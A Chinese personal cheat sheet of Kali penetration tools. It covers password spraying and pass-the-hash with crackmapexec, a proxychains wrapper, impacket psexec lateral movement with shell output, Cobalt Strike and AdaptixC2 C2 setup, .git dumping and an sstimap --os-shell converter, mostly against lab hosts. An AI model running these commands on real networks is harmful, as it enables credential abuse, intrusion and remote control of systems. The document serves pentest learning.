常用工具

内网渗透

crackmapexec

密码喷射器

sudo apt install crackmapexec

作者退休了也可以将命令平替换成它的继任者netexec,如果带 --local-auth 则表示喷射本地账号不带则一起喷射域账号

# 明文密码传递
./proxy.sh 127.0.0.1:6666 crackmapexec smb 192.168.3.32 -u administrator -p 'admin!@#45' --local-auth -x "whoami"

# NTLM Hash传递
./proxy.sh 127.0.0.1:6666 crackmapexec smb 192.168.3.32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth -x "whoami"

# 多目标,网段喷射
./proxy.sh 127.0.0.1:6666 crackmapexec smb 192.168.3.0/24 -u ./account.txt -p ./password.txt --local-auth -x "whoami"
./proxy.sh 127.0.0.1:6666 crackmapexec smb 192.168.3.21-32 -u administrator -p ./password.txt "whoami"

proxychains4

sudo apt update && sudo apt install -y proxychains4

cat >proxy.sh<<'EOF'
#!/bin/bash

# ============================================
# 用法: ./proxy.sh <IP:端口> <命令...>
# 示例: ./proxy.sh 127.0.0.1:1080 curl ipinfo.io/ip
#       ./proxy.sh 127.0.0.1:7890 firefox
#       ./proxy.sh 192.168.1.100:1080 impacket-psexec 'administrator:admin!@#45@192.168.3.32'
# ============================================

if [ $# -lt 2 ]; then
    echo "用法: $0 <IP:端口> <命令...>"
    echo ""
    echo "示例:"
    echo "  $0 127.0.0.1:1080 curl ipinfo.io/ip"
    echo "  $0 127.0.0.1:7890 firefox https://google.com"
    echo "  $0 192.168.1.100:1080 impacket-psexec 'administrator:admin!@#45@192.168.3.32'"
    exit 1
fi

# 解析 IP:端口
PROXY="$1"
PROXY_IP=$(echo "$PROXY" | cut -d':' -f1)
PROXY_PORT=$(echo "$PROXY" | cut -d':' -f2)

# 检查端口是否有效
if [ -z "$PROXY_IP" ] || [ -z "$PROXY_PORT" ] || ! echo "$PROXY_PORT" | grep -q '^[0-9]\+$'; then
    echo "错误: 无效的代理格式,请使用 IP:端口 格式"
    echo "示例: 127.0.0.1:1080"
    exit 1
fi

# 去掉第一个参数,剩下的全部作为命令
shift 1
CMD="$@"

# 生成临时配置文件
TMP_CONF="/tmp/proxy_$$.conf"
cat > "$TMP_CONF" <<EOF
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 $PROXY_IP $PROXY_PORT
EOF

# 执行命令
echo "[代理] socks5 $PROXY_IP:$PROXY_PORT → $CMD"
proxychains4 -f "$TMP_CONF" $CMD

# 清理
rm -f "$TMP_CONF"
EOF



例子


┌──(root㉿kali)-[~]
└─# ./proxy.sh 127.0.0.1:34857 impacket-psexec 'administrator:admin!@#45@192.168.3.32' -codec gbk
[代理] socks5 127.0.0.1:34857 → impacket-psexec administrator:admin!@#45@192.168.3.32 -codec gbk
[proxychains] config file found: /tmp/proxy_1268343.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:34857  ...  192.168.3.32:445  ...  OK
[*] Requesting shares on 192.168.3.32.....
[*] Found writable share ADMIN$
[*] Uploading file RSpyvzsB.exe
[*] Opening SVCManager on 192.168.3.32.....
[*] Creating service bvcm on 192.168.3.32.....
[*] Starting service bvcm.....
[proxychains] Strict chain  ...  127.0.0.1:34857  ...  192.168.3.32:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:34857  ...  192.168.3.32:445  ...  OK
[!] Press help for extra shell commands
[proxychains] Strict chain  ...  127.0.0.1:34857  ...  192.168.3.32:445  ...  OK
Microsoft Windows [版本 6.3.9600]
(c) 2013 Microsoft Corporation。保留所有权利。

C:\Windows\system32> ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::f4f2:bcf0:4f6e:d5a4%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.3.32
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.3.1

隧道适配器 isatap.{A11247B9-6BEE-4171-917A-AB69A8B66EF4}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

C:\Windows\system32> 

python3-impacket

横向移动,需要结合上面proxychains4脚本来使用

https://www.kali.org/tools/impacket/#python3-impacket

./proxy.sh 127.0.0.1:6666 impacket-psexec 'administrator:admin!@#45@192.168.3.32' -codec gbk
./proxy.sh 127.0.0.1:6666 impacket-psexec 'administrator@192.168.3.32 -hashes :518b98ad4178a53695dc997aa02d455c' -codec gbk

cobaltstrike

用一键日卫星右击来到源目录打包zip放到kali然后解压重置密码

┌──(root㉿kali)-[~/tools/cobaltstrike4.7]
└─# sed -i 's/Mannix123456/123456/g' teamserver.sh

                                                                                                                                                                                                                              
┌──(root㉿kali)-[~/tools/cobaltstrike4.7]
└─# rm -rf cobaltstrike.store
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=localhost, OU=IT, O=Company, L=City, S=State, C=CN"
正在为以下对象生成 3,072 位RSA密钥对和自签名证书 (SHA384withRSA) (有效期为 90 天):
         CN=localhost, OU=IT, O=Company, L=City, ST=State, C=CN
                                                                                                                                                                                                                              
┌──(root㉿kali)-[~/tools/cobaltstrike4.7]
└─# ./teamserver.sh 192.168.139.66 123456
[*] Will use existing X509 certificate and keystore (for SSL)
[*] Team Server Version: 4.7 (20220817) Licensed
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading beacons
[*] Loaded 0 beacons
[*] Loading properties file (/root/tools/cobaltstrike4.7/TeamServer.prop).
[*] Properties file was loaded.
[+] Team server is up on 0.0.0.0:54321
[*] SHA256 hash of SSL cert is: e88e50b7551e8375205e64afba0f92456c2054cdb82cb6d7affa058ac9e9c1c8

adaptixC2

https://github.com/Adaptix-Framework/AdaptixC2

https://www.cnblogs.com/Strandedonsunnyday/p/19994242

sudo apt install adaptixc2

┌──(root㉿kali)-[/usr/share/adaptixc2]
└─# pwd
/usr/share/adaptixc2
                                                                                                                                                                                                                              
┌──(root㉿kali)-[/usr/share/adaptixc2]
└─# ll                                                                    
总计 55256
-rw-r--r-- 1 root root     1133  4月 9日 16:18 404page.html
-rwxr-xr-x 1 root root 24576240  4月 9日 16:18 AdaptixClient
-rwxr-xr-x 1 root root 31975064  4月 9日 16:18 adaptixserver
drwxr-xr-x 9 root root     4096  7月22日 22:21 extenders
-rw-r--r-- 1 root root     2208  4月 9日 16:18 profile.yaml
-rw-r--r-- 1 root root     1058  7月22日 22:21 server.rsa.crt
-rw-r--r-- 1 root root     1704  7月22日 22:21 server.rsa.key
-rw-r--r-- 1 root root      347  4月 9日 16:18 ssl_gen.sh

# 运行                                                                                   
cd /usr/share/adaptixc2 && ./adaptixserver -profile profile.yaml


# 中文版 AdaptixC2_i18n-0.9.zip 先执行pre_install_linux_all.sh然后更新qt再make即可编译客户端与服务端,建议不要混用
sudo apt update
sudo apt install qt6-tools-dev qt6-tools-dev-tools qt6-l10n-tools

xpoc

https://github.com/chaitin/xpoc

https://github.com/chaitin/xray

https://github.com/chaitin/xray/releases/download/1.9.11/xray_linux_amd64.zip
https://github.com/chaitin/xray/releases/download/xpoc-0.1.0/xpoc_linux_amd64


同步最新插件	单目标扫描扫描指定URL/域名/IP,-o指定报告格式(如.html/.json)
./xpoc pull
./xpoc -t https://example.com -o result.html

被动接收burpsuite流量分析
./xray webscan --listen 127.0.0.1:7777 --html-output scan_report.html

dumpall

https://github.com/0xHJK/dumpall

能直接浏览到.git可以wget -r xxxx.com 放目标地址就可以递归下载了,dumpall似乎下载下来是最终的文件丢失了.git 看不到历史

# 1. 创建虚拟环境
python3 -m venv venv
# 2. 激活虚拟环境
source venv/bin/activate
# 3. 升级 pip
pip install --upgrade pip
# 4. 安装依赖
pip install aiohttp>=3.10.0 aiohttp-proxy
# 5. 安装 dumpall
pip install .
# 6. 运行
python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git  -o /tmp/git


下次使用时的命令
# 进入项目目录
cd /home/kali/python-tools/dumpall
# 激活虚拟环境
source venv/bin/activate
# 然后就可以正常使用 dumpall 了
python dumpall.py -u <目标URL> -o <输出目录>


┌──(venv)─(kali㉿kali)-[~/python-tools/dumpall]
└─$ python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git  -o /tmp/git

       ___                  ___   __   __ 
      / _ \__ ____ _  ___  / _ | / /  / / 
     / // / // /  ' \/ _ \/ __ |/ /__/ /__
    /____/\_,_/_/_/_/ .__/_/ |_/____/____/
                   /_/                    

    https://github.com/0xHJK/dumpall
    --------------------------------------------- 
                                       v0.4.0 HJK

Target: https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git
Output Directory: /tmp/git/0af600a103579d0d80193fb700db0076.web-security-academy.net_None_2

Module: dumpall.addons.gitdumper

[200] https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git/objects/89/44e3b9853691431dc58d5f4978d3940cea4af2 admin_panel.php
[200] https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git/objects/21/d23f13ce6c704b81857379a3e247e3436f4b26 admin.conf
                                                                                                                                                                                   
┌──(venv)─(kali㉿kali)-[~/python-tools/dumpall]
└─$ python dumpall.py -u https://0af600a103579d0d80193fb700db0076.web-security-academy.net/.git  -o /tmp/git

dirsearch

https://www.kali.org/tools/dirsearch/

subfinder

https://www.kali.org/tools/subfinder/

ffuf

https://www.kali.org/tools/ffuf/

sstimap

https://www.kali.org/tools/sstimap/

他不像sqlmap一样能直接将burpsuite请求体保存为文件直接sqlmap -r xxx.txt来识别,目前借助脚本来转换一下

cat > burp2sstimap.sh <<'EOF'
#!/bin/bash
# 简化版 burp2sstimap.sh - 只做格式转换,不自动注入点
# 用法: ./burp2sstimap.sh burp_request.txt [--proxy proxy_url] [-e engine]

set -e

if [ "$1" = "-h" ] || [ "$1" = "--help" ]; then
    echo "用法: $0 burp_request.txt [--proxy proxy_url] [-e engine]"
    echo "   --proxy URL   指定代理(如 http://127.0.0.1:8080)"
    echo "   -e ENGINE     指定模板引擎(如 velocity, django, jinja2)"
    echo ""
    echo "说明: 请在请求文件中手动将注入参数的值改为 * (例如 param=*)"
    exit 0
fi

REQUEST_FILE="$1"
PROXY=""
ENGINE=""

if [ -z "$REQUEST_FILE" ] || [ ! -f "$REQUEST_FILE" ]; then
    echo "错误: 必须提供有效的 Burp 请求文件"
    exit 1
fi

shift
while [ $# -gt 0 ]; do
    case "$1" in
        --proxy)
            PROXY="$2"
            shift 2
            ;;
        -e)
            ENGINE="$2"
            shift 2
            ;;
        *)
            echo "未知选项: $1"
            exit 1
            ;;
    esac
done

REQUEST=$(cat "$REQUEST_FILE")

# 提取第一行
FIRST_LINE=$(echo "$REQUEST" | head -1)
METHOD=$(echo "$FIRST_LINE" | cut -d' ' -f1)
FULL_PATH=$(echo "$FIRST_LINE" | cut -d' ' -f2)   # 完整路径(含查询参数)

# 提取 Host
HOST=$(echo "$REQUEST" | grep -i "^Host:" | awk '{print $2}' | tr -d '\r')

# 提取 Cookie
COOKIE=$(echo "$REQUEST" | grep -i "^Cookie:" | cut -d' ' -f2- | tr -d '\r')

# 提取其他 Headers(排除 Cookie)
HEADERS_SECTION=$(echo "$REQUEST" | sed -n '2,$p')
HEADERS=$(echo "$HEADERS_SECTION" | sed -n '/^$/q;p' | grep -v -i "^Cookie:")

# 提取 Body(空行后的内容,原样保留,包括用户自己加的 *)
BODY=$(echo "$REQUEST" | sed -n '/^$/,$p' | tail -n +2 | tr -d '\r')

# 构建 URL(https 默认,可改为 http 根据需求)
SCHEME="https"
URL="${SCHEME}://${HOST}${FULL_PATH}"

# 开始构建命令
CMD="sstimap -u \"$URL\""

if [ "$METHOD" = "POST" ]; then
    CMD="$CMD -m POST"
    if [ -n "$BODY" ]; then
        CMD="$CMD -d \"$BODY\""
    fi
fi

# 添加 Cookie
if [ -n "$COOKIE" ]; then
    CMD="$CMD -C \"$COOKIE\""
fi

# 添加其他 Headers
while IFS= read -r line; do
    if [ -n "$line" ]; then
        escaped_line=$(echo "$line" | sed 's/"/\\"/g')
        CMD="$CMD -H \"$escaped_line\""
    fi
done <<< "$HEADERS"

# 添加引擎指定
if [ -n "$ENGINE" ]; then
    CMD="$CMD --engine $ENGINE"
fi

# 添加代理
if [ -n "$PROXY" ]; then
    CMD="$CMD --proxy \"$PROXY\""
fi

echo "# 生成的 SSTImap 命令(请确保请求文件中已手动标记 * 作为注入点):"
echo "$CMD"
echo ""
echo "# 添加 --os-shell:"
echo "$CMD --os-shell"
EOF


# 使用方式命令后接续burpsuite抓包内容即可,他似乎没法输出poc?打上 --proxy 172.31.0.1:8080 指向burpsuite代理看history吧
┌──(kali㉿kali)-[~]
└─$ ./burp2sstimap.sh r1.txt
# 生成的 SSTImap 命令:

sstimap -u "htt。。。。。。。。。。。。。tch-User: ?1" -H "Sec-Fetch-Dest: document" -H "Referer: https://0a64002b034c2cd081ab7fb1000700df.web-security-academy.net/product/template?productId=18" -H "Accept-Encoding: gzip, deflate, br" -H "Priority: u=0, i"

# 添加 --os-shell 直接拿 Shell:
sstimap -u "ht。。。。。。。。。。。。。document" -H "Referer: https://0a64002b034c2cd081ab7fb1000700df.web-security-academy.net/product/template?productId=18" -H "Accept-Encoding: gzip, deflate, br" -H "Priority: u=0, i" --os-shell

nmap

https://www.kali.org/tools/nmap/

nuclei

https://www.kali.org/tools/nuclei/

seclists

https://www.kali.org/tools/seclists/

SecLists 是渗透测试领域最全面、最常用的字典库集合,包含目录扫描、子域名爆破、用户名、密码、Payload 等各种字典。

└─$ ll /usr/share/seclists
总计 40
drwxr-xr-x  9 root root 4096  6月 9日 23:47 Discovery
drwxr-xr-x  9 root root 4096  6月 9日 23:47 Fuzzing
drwxr-xr-x  8 root root 4096  6月 9日 23:47 Miscellaneous
drwxr-xr-x 15 root root 4096  6月 9日 23:47 Passwords
drwxr-xr-x  3 root root 4096  6月 9日 23:47 Pattern-Matching
drwxr-xr-x  8 root root 4096  6月 9日 23:47 Payloads
-rw-r--r--  1 root root 4370 2025年 9月19日 README.md
drwxr-xr-x  4 root root 4096  6月 9日 23:47 Usernames
drwxr-xr-x 10 root root 4096  6月 9日 23:47 Web-Shells
                                                                                                                                                                                        
┌──(kali㉿kali)-[~/.local]
└─$ du -sh /usr/share/seclists
1.9G    /usr/share/seclists
                                                                                                                                                                                        
┌──(kali㉿kali)-[~/.local]
└─$ 

拓展部分

汉化

# root,滑动到底部选择zh_CN.UTF-8 UTF-8
dpkg-reconfigure locales

权限提升

不想kali执行sudo老提示密码可以配置一下

# 安装配置工具
sudo apt install -y kali-grant-root
# 重新配置该工具,执行第二条命令时,会出现一个图形化配置界面,选择“Enable password-less privilege escalation”(启用免密提权)并确认即可
sudo dpkg-reconfigure kali-grant-root

切换java

# 查看系统里安装了哪些 Java 或者 ls /usr/lib/jvm/
└─$ update-java-alternatives -l
java-1.21.0-openjdk-amd64      2111       /usr/lib/jvm/java-1.21.0-openjdk-amd64

# 切换默认 Java
└─$ sudo update-alternatives --config java
[sudo] kali 的密码:
有 1 个候选项可用于替换 java (提供 /usr/bin/java)。

  选择       路径                                       优先级  状态
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      自动模式
  1            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      手动模式

要维持当前值[*]请按<回车键>,或者键入选择的编号:

# 安装其他版本
sudo apt update
sudo apt install openjdk-11-jdk
sudo apt install openjdk-17-jdk
sudo apt install openjdk-21-jdk

# 临时切换(当前终端)有些工具只支持 Java 8 或 Java 11,可以临时指定:关闭终端后恢复原样。
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export PATH=$JAVA_HOME/bin:$PATH

vim 无法右键

https://www.cnblogs.com/chris-jia/articles/16229350.html

输入法

不要用wayland要用x11

https://www.bilibili.com/video/BV1tEPEzoEi1/?spm_id_from=333.337.search-card.all.click&vd_source=f7c60f687e2fb41b124928be21e0a89a

https://docs.asoe.cn/post/18.html

文件浏览器

装完docker logs -f filebrowser 看密码,避免手动操作反复下载文件,可以加速在浏览器直接访问文件目录比较便捷,当然也可以用winscp来代替

# 1. 创建目录和配置
mkdir -p /data/filebrowser/{config,database}
cd /data/filebrowser
cat > config/settings.json <<EOF
{
  "port": 80,
  "address": "",
  "database": "/config/filebrowser.db",
  "root": "/srv",
  "locale": "zh-cn"
}
EOF

docker run -d \
  --name=filebrowser \
  --user root \
  --restart=unless-stopped \
  -p 7777:80 \
  -v /:/srv \
  -v /data/filebrowser/config:/config \
  -v /data/filebrowser/database:/database \
  filebrowser/filebrowser:latest